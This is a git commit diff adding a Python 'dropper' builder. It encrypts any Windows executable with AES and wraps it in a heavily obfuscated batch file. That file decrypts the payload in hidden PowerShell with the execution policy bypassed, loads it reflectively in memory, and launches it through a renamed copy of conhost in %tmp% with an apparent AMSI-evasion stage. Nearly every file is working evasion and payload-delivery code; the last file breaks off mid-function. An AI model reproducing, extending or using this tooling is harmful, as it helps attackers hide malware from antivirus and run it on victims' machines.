initial commit

2026-08-27 11:04:42 -06:00
commit 5ab7731f12
33 changed files with 1794 additions and 0 deletions
@@ -0,0 +1,396 @@
 #!/usr/bin/env python3
 import random
 import string
 import base64
 import os
 from pathlib import Path
 from Crypto.Cipher import AES
 from Crypto.Util.Padding import pad
 from Crypto.Random import get_random_bytes
 class CompleteBatchObfuscator:
    def __init__(self, exe_path, output_path='obfuscated_output.bat'):
        self.exe_path = Path(exe_path)
        self.output_path = Path(output_path)
        self.exe_name = self.exe_path.name
        self.used_names = set()
        self.aes_key = None
        self.iv = None
        self.encrypted_data = None
        self.base64_segments = []
        self.segment_var_names = []
        self.order_fragment_vars = {}
        self.powershell_chain_vars = []
        self.labels = []
        self.junk_words = []
        print(f"init: {self.exe_name}")
    def generate_random_var_name(self, length=8, allow_special=False):
        while True:
            chars = string.ascii_letters + string.digits
            name = ''.join(random.choice(chars) for _ in range(length))
            if name[0].isdigit():
                name = random.choice(string.ascii_letters) + name[1:]
            if name not in self.used_names:
                self.used_names.add(name)
                return name
    def generate_random_label(self):
        length = random.randint(6, 12)
        chars = string.ascii_letters + string.digits
        label = ''.join(random.choice(chars) for _ in range(length))
        if label[0].isdigit():
            label = random.choice(string.ascii_letters) + label[1:]
        return label
    def generate_junk_words(self, count=200):
        syllables = ['ka', 'ra', 'ta', 'na', 'ma', 'pa', 'ba', 'za', 'la', 'da',
                     'ko', 'ro', 'to', 'no', 'mo', 'po', 'bo', 'zo', 'lo', 'do',
                     'ki', 'ri', 'ti', 'ni', 'mi', 'pi', 'bi', 'zi', 'li', 'di']
        words = []
        for _ in range(count):
            word_len = random.randint(2, 4)
            word = ''.join(random.choice(syllables) for _ in range(word_len))
            words.append(word)
        self.junk_words = words
        return words
    def generate_junk_line(self):
        comment_type = random.choice(['rem', 'REM', 'Rem', '::'])
        num_words = random.randint(3, 8)
        words = random.sample(self.junk_words, min(num_words, len(self.junk_words)))
        if random.random() < 0.3:
            var = self.generate_random_var_name()
            return f'%{var}%{comment_type}%{self.generate_random_var_name()}% {" ".join(words)}'
        else:
            return f'{comment_type} {" ".join(words)}'
    def encrypt_exe_aes(self):
        print(f"\naes encrypt")
        print(f"=" * 60)
        exe_data = self.exe_path.read_bytes()
        print(f"read exe: {len(exe_data)} bytes")
        self.aes_key = get_random_bytes(32)
        self.iv = get_random_bytes(16)
        print(f"key: {self.aes_key.hex()}")
        print(f"iv: {self.iv.hex()}")
        padded_data = pad(exe_data, AES.block_size)
        print(f"padded: {len(padded_data)} bytes")
        cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv)
        encrypted = cipher.encrypt(padded_data)
        print(f"encrypted: {len(encrypted)} bytes")
        self.encrypted_data = self.iv + encrypted
        print(f"total: {len(self.encrypted_data)} bytes")
        return self.encrypted_data
    def split_base64_into_segments(self):
        print(f"\nb64 split")
        print(f"=" * 60)
        b64_data = base64.b64encode(self.encrypted_data).decode('ascii')
        print(f"b64: {len(b64_data)} chars")
        segment_size = len(b64_data) // 21
        self.base64_segments = []
        self.segment_var_names = []
        for i in range(21):
            start = i * segment_size
            end = start + segment_size if i < 20 else len(b64_data)
            segment = b64_data[start:end]
            var_name = self.generate_random_var_name()
            self.base64_segments.append(segment)
            self.segment_var_names.append(var_name)
            print(f"seg {i+1:2d}: {var_name:12s} = {len(segment)} chars")
        print(f"made {len(self.base64_segments)} segments")
        return self.base64_segments, self.segment_var_names
    def create_order_obfuscation(self):
        print(f"\norder obfuscation")
        print(f"=" * 60)
        order_list = '!'.join(self.segment_var_names)
        print(f"order: {order_list[:100]}...")
        print(f"len: {len(order_list)} chars")
        num_fragments = random.randint(20, 25)
        fragments = []
        fragment_vars = []
        parts = order_list.split('!')
        parts_per_fragment = max(1, len(parts) // num_fragments)
        for i in range(0, len(parts), parts_per_fragment):
            fragment_parts = parts[i:i+parts_per_fragment]
            fragment = '!'.join(fragment_parts)
            if i + parts_per_fragment < len(parts):
                fragment += '!'
            var_name = self.generate_random_var_name(allow_special=True)
            fragments.append(fragment)
            fragment_vars.append(var_name)
            self.order_fragment_vars[var_name] = fragment
            print(f"frag {len(fragment_vars):2d}: {var_name:15s} = {fragment[:50]}...")
        print(f"made {len(fragment_vars)} fragments")
        line42_var_name = self.generate_random_var_name()
        line42_content = ''.join(f'%{var}%' for var in fragment_vars)
        print(f"line42 var: {line42_var_name}")
        print(f"line42: {line42_content[:100]}...")
        return line42_var_name, line42_content, fragment_vars
    def create_powershell_command(self, order_var_name):
        print(f"\nps command")
        print(f"=" * 60)
        key_bytes = ','.join(str(b) for b in self.aes_key)
        ps_command = f"""$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jPFh8Se4.Key = [byte[]]@({key_bytes});$wEAR7v = [Convert]::FromBase64String(-join ($env:{order_var_name}.Split('!')).ForEach({{(Get-Item "env:$_").Value}}));$jPFh8Se4.IV = $wEAR7v[0..15];$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"""
        print(f"ps len: {len(ps_command)} chars")
        print(f"reflective load (in-memory)")
        print(f"first 200: {ps_command[:200]}...")
        return ps_command
    def create_powershell_chain(self, ps_command):
        print(f"\nps chain")
        print(f"=" * 60)
        statements = ps_command.split(';')
        num_parts = 7
        statements_per_part = max(1, len(statements) // num_parts)
        parts = []
        for i in range(0, len(statements), statements_per_part):
            part_statements = statements[i:i+statements_per_part]
            part = ';'.join(part_statements)
            parts.append(part)
        if len(parts) > num_parts:
            parts = parts[:num_parts-1] + [';'.join(parts[num_parts-1:])]
        chain_vars = []
        for i in range(min(len(parts), num_parts)):
            var_name = self.generate_random_var_name()
            chain_vars.append(var_name)
        self.powershell_chain_vars = chain_vars
        chain_values = {}
        for i in range(len(chain_vars)):
            if i < len(chain_vars) - 1:
                value = parts[i] + f";iex $env:{chain_vars[i+1]}"
            else:
                value = parts[i]
            chain_values[chain_vars[i]] = value
            print(f"chain {i+1}: {chain_vars[i]:12s} -> {value[:80]}...")
        print(f"made {len(chain_vars)}-step chain")
        return chain_vars, chain_values
    def obfuscate_string_with_vars(self, text, num_parts=None):
        if num_parts is None:
            num_parts = random.randint(4, 10)
        part_size = len(text) // num_parts
        parts = []
        var_names = []
        for i in range(num_parts):
            start = i * part_size
            end = start + part_size if i < num_parts - 1 else len(text)
            part = text[start:end]
            var_name = self.generate_random_var_name()
            parts.append(part)
            var_names.append(var_name)
        return list(zip(var_names, parts))
    def build_batch_file(self, line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name):
        print(f"\nbatch assembly")
        print(f"=" * 60)
        lines = []
        self.labels = [self.generate_random_label() for _ in range(random.randint(10, 15))]
        self.generate_junk_words(200)
        lines.append('@echo off')
        for _ in range(2):
            lines.append(self.generate_junk_line())
        lines.append(f'goto :{self.labels[0]}')
        for _ in range(3):
            lines.append(self.generate_junk_line())
        lines.append(f':{self.labels[0]}')
        lines.append('')
        exe_parts = self.obfuscate_string_with_vars(self.exe_name, num_parts=random.randint(5, 8))
        for var, part in exe_parts:
            set_cmd = random.choice(['set', 'SET', 'sEt', 'SeT', 'seT', 'sET'])
            if random.random() < 0.7:
                lines.append(f'{set_cmd} "{var}={part}"')
            else:
                lines.append(f'{set_cmd} {var}={part}')
        exe_var_ref = ''.join(f'%{var}%' for var, _ in exe_parts)
        for _ in range(random.randint(3, 6)):
            lines.append(self.generate_junk_line())
        lines.append(f'goto :{self.labels[1]}')
        lines.append(self.generate_junk_line())
        lines.append(f':{self.labels[1]}')
        print(f"adding 21 b64 vars...")
        for i, (var_name, segment) in enumerate(zip(self.segment_var_names, self.base64_segments)):
            set_cmd = random.choice(['SET', 'set', 'sEt'])
            lines.append(f'{set_cmd} {var_name}={segment}')
            if (i + 1) % 5 == 0:
                lines.append(self.generate_junk_line())
        for _ in range(random.randint(2, 4)):
            lines.append(self.generate_junk_line())
        lines.append(f'goto :{self.labels[2]}')
        lines.append(f':{self.labels[2]}')
        print(f"adding order fragments...")
        for var_name, fragment in self.order_fragment_vars.items():
            set_cmd = random.choice(['set', 'SET', 'sEt'])
            if random.random() < 0.5:
                lines.append(f'{set_cmd} "{var_name}={fragment}"')
            else:
                lines.append(f'{set_cmd} "{var_name}={fragment}" && {self.generate_junk_line()}')
        print(f"adding line 42...")
        lines.append(f'SET "{order_var_name}={line42_content}"')
        for _ in range(random.randint(2, 4)):
            lines.append(self.generate_junk_line())
        lines.append(f'goto :{self.labels[3]}')
        lines.append(f':{self.labels[3]}')
        print(f"adding ps chain...")
        for var_name in reversed(chain_vars):
            value = chain_values[var_name]
            set_cmd = random.choice(['SET', 'set', 'sEt', 'SeT'])
            lines.append(f'{set_cmd} "{var_name}={value}"')
        print(f"adding exec cmd...")
        lines.append(f'goto :{self.labels[4]}')
        lines.append(f':{self.labels[4]}')
        ps_parts = self.obfuscate_string_with_vars('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c')
        for var, part in ps_parts:
            set_cmd = random.choice(['set', 'SET'])
            lines.append(f'{set_cmd} "{var}={part}"')
        ps_ref = ''.join(f'%{var}%' for var, _ in ps_parts)
        lines.append(f'{ps_ref} %{chain_vars[0]}%')
        for i in range(5, len(self.labels)):
            lines.append('')
            if random.random() < 0.3 and i < len(self.labels) - 1:
                lines.append(f'goto :{self.labels[i+1]}')
            for _ in range(random.randint(2, 6)):
                lines.append(self.generate_junk_line())
            lines.append(f':{self.labels[i]}')
        for _ in range(random.randint(5, 10)):
            lines.append(self.generate_junk_line())
        print(f"total lines: {len(lines)}")
        return lines
    def build(self):
        print(f"\n{'='*60}")
        print(f"batch obfuscator")
        print(f"{'='*60}")
        print(f"in: {self.exe_path}")
        print(f"out: {self.output_path}")
        self.encrypt_exe_aes()
        self.split_base64_into_segments()
        line42_var, line42_content, fragment_vars = self.create_order_obfuscation()
        order_var_name = self.generate_random_var_name(length=12)
        ps_command = self.create_powershell_command(order_var_name)
        chain_vars, chain_values = self.create_powershell_chain(ps_command)
        lines = self.build_batch_file(line42_var, line42_content, fragment_vars, 
                                      chain_vars, chain_values, order_var_name)
        self.output_path.write_text('\n'.join(lines), encoding='utf-8')
        print(f"\n{'='*60}")
        print(f"done")
        print(f"{'='*60}")
        print(f"output: {self.output_path}")
        print(f"lines: {len(lines)}")
        print(f"vars: {len(self.used_names)}")
        print(f"  payload: {len(self.segment_var_names)}")
        print(f"  order: {len(self.order_fragment_vars)}")
        print(f"  ps chain: {len(chain_vars)}")
        print(f"  other: {len(self.used_names) - len(self.segment_var_names) - len(self.order_fragment_vars) - len(chain_vars)}")
        print(f"labels: {len(self.labels)}")
        print(f"junk: ~{len([l for l in lines if 'rem' in l.lower() or '::' in l])}")
        print(f"key: {self.aes_key.hex()}")
        print(f"iv: {self.iv.hex()}")
        return self.output_path
 def main():
    import sys
    print("=" * 60)
    print("batch obfuscator")
    print("=" * 60)
    if len(sys.argv) < 2:
        print("\nusage: python builder.py <input.exe> [output.bat]")
        print("\nexample:")
        print("  python builder.py myapp.exe obfuscated.bat")
        sys.exit(1)
    exe_file = sys.argv[1]
    output_file = sys.argv[2] if len(sys.argv) > 2 else 'obfuscated_output.bat'
    if not Path(exe_file).exists():
        print(f"\nfile not found: {exe_file}")
        sys.exit(1)
    builder = CompleteBatchObfuscator(exe_file, output_file)
    builder.build()
    print(f"\ndone: {output_file}")
 if __name__ == "__main__":
    main()
@@ -0,0 +1,5 @@
 JUNK_DENSITY = 2
 JUNK_BLOCKS = 25
 PAYLOAD_CHUNK_SIZE = 2800
 OUTPUT_NAME_LENGTH = 9
 AES_KEY_SIZE = 32
@@ -0,0 +1,2 @@
 from .cli import main
 main()
@@ -0,0 +1,4 @@
 import sys, os
 sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
 from dropper.cli import main
 main()
@@ -0,0 +1,33 @@
 import sys, os
 try:
    from .generator import generate
 except ImportError:
    from generator import generate
 def main():
    if len(sys.argv) < 2:
        print(f"usage: python -m dropper <input.exe> [output.bat]")
        sys.exit(1)
    input_path = sys.argv[1]
    output_path = sys.argv[2] if len(sys.argv) >= 3 else os.path.splitext(os.path.basename(input_path))[0] + '_dropper.bat'
    if not os.path.exists(input_path):
        print(f"file not found: {input_path}")
        sys.exit(1)
    with open(input_path, 'rb') as f:
        exe_data = f.read()
    if not exe_data:
        print("empty file")
        sys.exit(1)
    print(f"in: {input_path}")
    print(f"out: {output_path}")
    if generate(exe_data, output_path):
        print(f"\ndone: {output_path}")
    else:
        print("failed")
        sys.exit(1)
@@ -0,0 +1,126 @@
 import os
 try:
    from . import AES_KEY_SIZE
 except ImportError:
    AES_KEY_SIZE = 32
 SBOX = [
    0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
    0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
    0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
    0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
    0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
    0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
    0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
    0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
    0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
    0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
    0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
    0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
    0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
    0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
    0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
    0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16,
 ]
 RCON = [0x01,0x02,0x04,0x08,0x10,0x20,0x40,0x80,0x1b,0x36]
 def _xtime(a):
    return ((a << 1) ^ 0x1b) & 0xff if a & 0x80 else (a << 1) & 0xff
 def _mix_single(a):
    t = a[0] ^ a[1] ^ a[2] ^ a[3]
    u = a[0]
    a[0] ^= _xtime(a[0] ^ a[1]) ^ t
    a[1] ^= _xtime(a[1] ^ a[2]) ^ t
    a[2] ^= _xtime(a[2] ^ a[3]) ^ t
    a[3] ^= _xtime(a[3] ^ u) ^ t
 def _key_expansion(key):
    nk = len(key) // 4
    nr = nk + 6
    w = [key[4*i:4*i+4] for i in range(nk)]
    for i in range(nk, 4*(nr+1)):
        temp = list(w[i-1])
        if i % nk == 0:
            temp = [SBOX[temp[1]] ^ RCON[i//nk-1], SBOX[temp[2]], SBOX[temp[3]], SBOX[temp[0]]]
        elif nk > 6 and i % nk == 4:
            temp = [SBOX[b] for b in temp]
        w.append(bytes([a ^ b for a, b in zip(w[i-nk], temp)]))
    round_keys = []
    for r in range(nr + 1):
        rk = b''
        for i in range(4):
            rk += w[r*4 + i]
        round_keys.append(rk)
    return round_keys
 def _encrypt_block(block, round_keys):
    nr = len(round_keys) - 1
    state = [list(block[i:i+4]) for i in range(0, 16, 4)]
    s = [[state[j][i] for j in range(4)] for i in range(4)]
    for i in range(4):
        for j in range(4):
            s[i][j] ^= round_keys[0][i*4+j]
    for rnd in range(1, nr + 1):
        for i in range(4):
            for j in range(4):
                s[i][j] = SBOX[s[i][j]]
        s[1] = s[1][1:] + s[1][:1]
        s[2] = s[2][2:] + s[2][:2]
        s[3] = s[3][3:] + s[3][:3]
        if rnd < nr:
            for j in range(4):
                col = [s[i][j] for i in range(4)]
                _mix_single(col)
                for i in range(4):
                    s[i][j] = col[i]
        for i in range(4):
            for j in range(4):
                s[i][j] ^= round_keys[rnd][i*4+j]
    result = bytearray(16)
    for i in range(4):
        for j in range(4):
            result[i*4+j] = s[i][j]
    return bytes(result)
 def _pkcs7_pad(data, block_size=16):
    pad_len = block_size - (len(data) % block_size)
    return data + bytes([pad_len] * pad_len)
 def _aes_cbc_encrypt(plaintext, key, iv):
    padded = _pkcs7_pad(plaintext)
    round_keys = _key_expansion(key)
    ciphertext = b''
    prev = iv
    for i in range(0, len(padded), 16):
        block = padded[i:i+16]
        xored = bytes([a ^ b for a, b in zip(block, prev)])
        encrypted = _encrypt_block(xored, round_keys)
        ciphertext += encrypted
        prev = encrypted
    return ciphertext
 def _try_system_aes(data, key, iv):
    try:
        from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
        from cryptography.hazmat.primitives import padding
        from cryptography.hazmat.backends import default_backend
        padder = padding.PKCS7(128).padder()
        padded = padder.update(data) + padder.finalize()
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        enc = cipher.encryptor()
        return enc.update(padded) + enc.finalize()
    except ImportError:
        return None
 def encrypt_payload(data, key, iv):
    result = _try_system_aes(data, key, iv)
    if result is not None:
        print("using system aes")
        return result
    print("using pure python aes (slow)")
    return _aes_cbc_encrypt(data, key, iv)
@@ -0,0 +1,325 @@
 import os, random, string, base64
 try:
    from . import AES_KEY_SIZE, PAYLOAD_CHUNK_SIZE, OUTPUT_NAME_LENGTH, JUNK_BLOCKS
    from .rand import rand_str, rand_var, rand_label, rand_case
    from .obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
    from .crypto import encrypt_payload
 except ImportError:
    AES_KEY_SIZE = 32
    PAYLOAD_CHUNK_SIZE = 2800
    OUTPUT_NAME_LENGTH = 9
    JUNK_BLOCKS = 25
    from rand import rand_str, rand_var, rand_label, rand_case
    from obfuscation import make_set_cmd, make_junk_block, make_rem_line, make_goto_cmd
    from crypto import encrypt_payload
 def generate(exe_data, output_path):
    print(f"input: {len(exe_data)} bytes")
    key = os.urandom(AES_KEY_SIZE)
    iv = os.urandom(16)
    print(f"aes-{AES_KEY_SIZE*8} key gen")
    encrypted = encrypt_payload(exe_data, key, iv)
    payload = iv + encrypted
    print(f"encrypted: {len(payload)} bytes")
    b64_payload = base64.b64encode(payload).decode('ascii')
    print(f"b64: {len(b64_payload)} chars")
    payload_vars = []
    chunks = []
    for i in range(0, len(b64_payload), PAYLOAD_CHUNK_SIZE):
        chunk = b64_payload[i:i+PAYLOAD_CHUNK_SIZE]
        var_name = rand_var(6, 12)
        payload_vars.append(var_name)
        chunks.append((var_name, chunk))
    print(f"split into {len(chunks)} chunks")
    order_list = '!'.join(payload_vars)
    print(f"order list: {len(order_list)} chars")
    num_fragments = random.randint(max(len(chunks) // 3, 8), max(len(chunks) // 2, 15))
    fragments = []
    fragment_vars = []
    parts = order_list.split('!')
    parts_per_fragment = max(1, len(parts) // num_fragments)
    for i in range(0, len(parts), parts_per_fragment):
        fragment_parts = parts[i:i+parts_per_fragment]
        fragment = '!'.join(fragment_parts)
        if i + parts_per_fragment < len(parts):
            fragment += '!'
        var_name = rand_var(6, 12)
        fragments.append(fragment)
        fragment_vars.append(var_name)
    print(f"made {len(fragment_vars)} fragments")
    concat_var_name = rand_var(8, 14)
    output_exe_name = rand_str(OUTPUT_NAME_LENGTH, OUTPUT_NAME_LENGTH, string.ascii_letters + string.digits) + '.exe'
    lines = []
    lines.append(f'echo {rand_str(2,5)} > nul')
    lines.append('@echo off')
    lines.extend(make_junk_block())
    lines.append(make_rem_line())
    setup_label = rand_label()
    lines.append(f':{setup_label}')
    lines.append('')
    v_conpath = rand_var(6, 10)
    v_nhost = rand_var(5, 8)
    v_windir_set = rand_var(5, 8)
    v_sysnative = rand_var(6, 10)
    v_conh = rand_var(5, 8)
    v_exe_ext = rand_var(5, 8)
    lines.append(make_set_cmd(v_nhost, 'nhost.'))
    lines.append(make_set_cmd(v_windir_set, f'%windir%\\'))
    lines.append(make_set_cmd(v_sysnative, 'Sysnativ'))
    lines.append(make_set_cmd(v_conh, 'e\\co'))
    lines.append(make_set_cmd(v_exe_ext, 'exe'))
    v_set_prefix = rand_var(5, 8)
    v_owi = rand_var(6, 10)
    lines.append(make_set_cmd(v_set_prefix, 'SeT '))
    lines.append(make_set_cmd(v_owi, f'{v_conpath}='))
    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_windir_set}%%{v_sysnative}%%{v_conh}%%{v_nhost}%%{v_exe_ext}%')
    lines.extend(make_junk_block())
    check_label = rand_label()
    fallback_label = rand_label()
    lines.append(f':{check_label}')
    v_if_set = rand_var(5, 8)
    v_exist_set = rand_var(5, 8)
    v_path_set = rand_var(5, 8)
    v_then_set = rand_var(5, 8)
    v_then_marker = rand_var(5, 8)
    lines.append(make_set_cmd(v_if_set, 'if '))
    lines.append(make_set_cmd(v_exist_set, 'exist '))
    lines.append(make_set_cmd(v_path_set, f'%{v_conpath}% '))
    lines.append(make_set_cmd(v_then_set, 'SET '))
    lines.append(make_set_cmd(v_then_marker, f'{v_conpath}='))
    lines.append(f'%{v_if_set}%%{v_exist_set}%%{v_path_set}%%{v_then_set}%%{v_then_marker}%%{v_conpath}%')
    lines.extend(make_junk_block())
    lines.append(f':{fallback_label}')
    v_sys32_set = rand_var(5, 8)
    v_sys32_conh = rand_var(5, 8)
    lines.append(make_set_cmd(v_sys32_set, f'%windir%\\'))
    lines.append(make_set_cmd(v_sys32_conh, 'System32\\co'))
    lines.append(f'%{v_set_prefix}%%{v_owi}%%{v_sys32_set}%%{v_sys32_conh}%%{v_nhost}%%{v_exe_ext}%')
    lines.extend(make_junk_block())
    copy_label = rand_label()
    lines.append(f':{copy_label}')
    name_parts = [output_exe_name[:3], output_exe_name[3:-4], '.ex', 'e']
    v_parts = []
    for part in name_parts:
        v = rand_var(5, 8)
        v_parts.append(v)
        lines.append(make_set_cmd(v, part))
    v_copy_cmd = rand_var(5, 8)
    v_tmp_dir = rand_var(5, 8)
    v_sp = rand_var(5, 8)
    lines.append(make_set_cmd(v_copy_cmd, 'copy'))
    lines.append(make_set_cmd(v_tmp_dir, f'%tmp%\\'))
    lines.append(make_set_cmd(v_sp, f' %{v_conpath}% '))
    copy_line = f'%{v_copy_cmd}%%{v_sp}%%{v_tmp_dir}%'
    for v in v_parts:
        copy_line += f'%{v}%'
    lines.append(copy_line)
    lines.extend(make_junk_block())
    payload_section_label = rand_label()
    lines.append(f':{payload_section_label}')
    shuffled_indices = list(range(len(chunks)))
    random.shuffle(shuffled_indices)
    for idx in shuffled_indices:
        var_name, chunk_data = chunks[idx]
        lines.append(f'{rand_case("SET")} {var_name}={chunk_data}')
        if random.random() > 0.65:
            lines.append(make_rem_line())
        if random.random() > 0.85:
            lines.extend(make_junk_block())
    lines.extend(make_junk_block())
    concat_label = rand_label()
    lines.append(f':{concat_label}')
    for var_name, fragment in zip(fragment_vars, fragments):
        if random.random() > 0.5:
            lines.append(f'{rand_case("SET")} "{var_name}={fragment}"')
        else:
            lines.append(f'{rand_case("SET")} "{var_name}={fragment}" && {make_rem_line()}')
        if random.random() > 0.7:
            lines.append(make_rem_line())
    lines.extend(make_junk_block())
    concat_value = ''.join(f'%{var}%' for var in fragment_vars)
    lines.append(f'{rand_case("SET")} "{concat_var_name}={concat_value}"')
    lines.extend(make_junk_block())
    ps_stage_label = rand_label()
    lines.append(f':{ps_stage_label}')
    v_stage1 = rand_var(6, 10)
    v_stage2 = rand_var(6, 10)
    v_stage3 = rand_var(6, 10)
    v_stage4 = rand_var(6, 10)
    v_stage5 = rand_var(6, 10)
    key_ps = ','.join(str(b) for b in key)
    v_aes_obj = rand_var(6, 10)
    v_enc_data = rand_var(6, 10)
    v_decryptor = rand_var(5, 8)
    v_decrypted = rand_var(6, 10)
    v_asm = rand_var(5, 8)
    decrypt_parts = [
        f"${v_aes_obj} = [System.Security.Cry",
        f"pto",
        f"graphy.AESCryptoS",
        f"ervice",
        f"Provid",
        f"er]::new();${v_aes_obj}.Mo",
        f"De = [System.Security.C",
        f"ryptogra",
        f"phy.CipherMode]::cb",
        f"C;${v_aes_obj}.pa",
        f"D",
        f"ding = [",
        f"Sys",
        f"tem.Se",
        f"c",
        f"urity.Cryptograph",
        f"y",
        f".Padd",
        f"ingMod",
        f"e]::PKcS",
        f"7;${v_aes_obj}",
        f".",
        f"k",
        f"Ey = [byte",
        f"[]]@({key_ps});",
        f"${v_enc_data} = [",
        f"Conv",
        f"ert",
        f"]::FromBase64String(-join ($env:{concat_var_name}.Split('!')).For",
        f"Each({{(Get-Item \"env",
        f":$_\").Value}}));${v_aes_obj}.IV = ${v_enc_data}",
        f"[",
        f"0..15];",
        f"${v_decryptor}=${v_aes_obj}.cREAtEDecRy",
        f"pTOR();${v_decrypted}=${v_decryptor}.tRANsfORmfInaLBLock(",
        f"${v_enc_data}[16..${v_enc_data}.Length], 0,",
        f"${v_enc_data}.LenG",
        f"T",
        f"H-16);${v_asm} =",
        f"[Syst",
        f"em.Reflection.A",
        f"sse",
        f"mbly]::lOaD",
        f"(${v_decrypted}",
        f");${v_asm}.eNt",
        f"RYPoI",
        f"NT.Inv",
        f"oke($null, $n",
        f"ul",
        f"l);"
    ]
    obfuscated_decrypt = ''
    for i, part in enumerate(decrypt_parts):
        if random.random() > 0.7 and i > 0:
            junk_var = rand_var(5, 10)
            obfuscated_decrypt += f'%{junk_var}%'
        obfuscated_decrypt += part
    decrypt_code = obfuscated_decrypt
    lines.append(make_set_cmd(v_stage2, decrypt_code))
    lines.extend(make_junk_block())
    entry_code = f'iex $env:{v_stage2}'
    lines.append(make_set_cmd(v_stage5, entry_code))
    lines.extend(make_junk_block())
    v_amsi_psauto = rand_var(6, 10)
    v_amsi_ast = rand_var(5, 8)
    amsi_code = (
        f"${v_amsi_psauto} = [ScriptBlock]::Create('').Ast; "
        f"${v_amsi_ast} = [System.Management.Automation.Language.ScriptBlockAst]::new("
        f"${v_amsi_psauto}.Extent,$null,$null,$null,"
        f"${v_amsi_ast}.EndBlock.Copy(),$null); "
        f"iex $env:{v_stage5}"
    )
    lines.append(make_set_cmd(v_stage3, amsi_code))
    lines.extend(make_junk_block())
    v_sb = rand_var(5, 8)
    trigger_code = f"${v_sb} = [ScriptBlock]::Create('').Ast; iex $env:{v_stage3}"
    lines.append(make_set_cmd(v_stage4, trigger_code))
    lines.extend(make_junk_block())
    sleep_code = f'Start-Sleep -Seconds {random.randint(1, 3)};iex $env:{v_stage4}'
    lines.append(make_set_cmd(v_stage1, sleep_code))
    lines.extend(make_junk_block())
    v_toplevel = rand_var(5, 8)
    v_wrapper = rand_var(6, 10)
    wrapper_code = f"${v_toplevel} = 'placeholder'; iex $env:{v_stage1}"
    lines.append(make_set_cmd(v_wrapper, wrapper_code))
    lines.extend(make_junk_block())
    launch_label = rand_label()
    lines.append(f':{launch_label}')
    v_launch_flag = rand_var(6, 10)
    lines.append(make_set_cmd(v_launch_flag, f'iex $env:{v_wrapper}'))
    lines.extend(make_junk_block())
    lines.append(f'start %tmp%\\{output_exe_name} --headless powershell -c %{v_launch_flag}%')
    end_label = rand_label()
    lines.append(make_goto_cmd(end_label))
    for _ in range(random.randint(3, 8)):
        lines.append(make_rem_line())
    lines.append(f':{end_label}')
    final_lines = []
    junk_count = 0
    for line in lines:
        final_lines.append(line)
        if junk_count < JUNK_BLOCKS and random.random() > 0.88:
            final_lines.extend(make_junk_block())
            junk_count += 1
    bat_content = '\r\n'.join(final_lines)
    with open(output_path, 'w', encoding='utf-8') as f:
        f.write(bat_content)
    print(f"\ndone: {output_path}")
    print(f"tmp exe: {output_exe_name}")
    print(f"lines: {len(final_lines)}")
    print(f"chunks: {len(chunks)}")
    print(f"size: {len(bat_content):,} bytes")
    print(f"key: {key.hex()}")
    return True
@@ -0,0 +1,42 @@
 import random
 try:
    from .rand import rand_var, rand_case, rand_words, rand_label
 except ImportError:
    from rand import rand_var, rand_case, rand_words, rand_label
 def make_junk_var():
    return f'%{rand_var()}%'
 def make_set_cmd(var_name, value, obfuscate=True):
    set_cmd = rand_case('set')
    if obfuscate:
        fmt = f'{set_cmd} "{var_name}={value}"'
        prefix = make_junk_var() if random.random() > 0.5 else ''
        return f'{prefix}{fmt}'
    return f'{set_cmd} "{var_name}={value}"'
 def make_goto_cmd(label):
    goto = rand_case('goto')
    g = goto[0] + make_junk_var() + goto[1] + make_junk_var() + goto[2:]
    return f'{g} :{label}'
 def make_rem_line():
    rem = rand_case('rem')
